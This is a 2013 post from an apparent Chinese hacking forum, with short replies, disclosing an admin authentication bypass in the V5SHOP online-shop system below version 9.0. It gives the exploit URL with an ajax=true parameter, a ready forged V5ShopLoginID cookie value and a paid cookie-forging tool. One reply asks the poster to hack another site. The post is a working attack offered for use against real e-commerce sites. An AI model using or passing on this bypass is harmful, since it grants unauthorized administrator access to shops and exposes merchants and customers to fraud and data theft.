V5SHOP网店系统< 9.0后台认证绕过

90_ · 发表于 2013-10-21 10:00:39

程序后台的访问控制：

1 获取cookie，使用秘钥解密。确定是否登录

2 监控referer，不过请求中带ajax=true，即可绕过限制

所以我们可以伪造一份加密的cooke，并携带ajax=true去直接访问后台

访问URL：

www.xxxx.com/weblogin/index.aspx?ajax=true

伪造cookie：

V5ShopLoginID=Z1zZmWmBQL7kg6bn1sIVSbI1tdLbyYJnhapJnu3MQKs=

加密cookie生成工具：

加密cookie生成工具.rar (207 Bytes, 下载次数: 1, 售价: 1 i币)

QQ截图20131021100115.jpg

作者：zpino

a13775647904 · 发表于 2013-10-21 11:21:11

谢谢分享~

08道士 · 发表于 2013-10-21 11:52:42

{:soso_e136:} 跪求楼主日了小TAO宝~~ 太可恶了

蓝色_ · 发表于 2013-10-22 19:21:22

{:soso_e140:}小组核心老是灌水

V5SHOP网店系统< 9.0后台认证绕过

指导单位

旗下站点

联系我们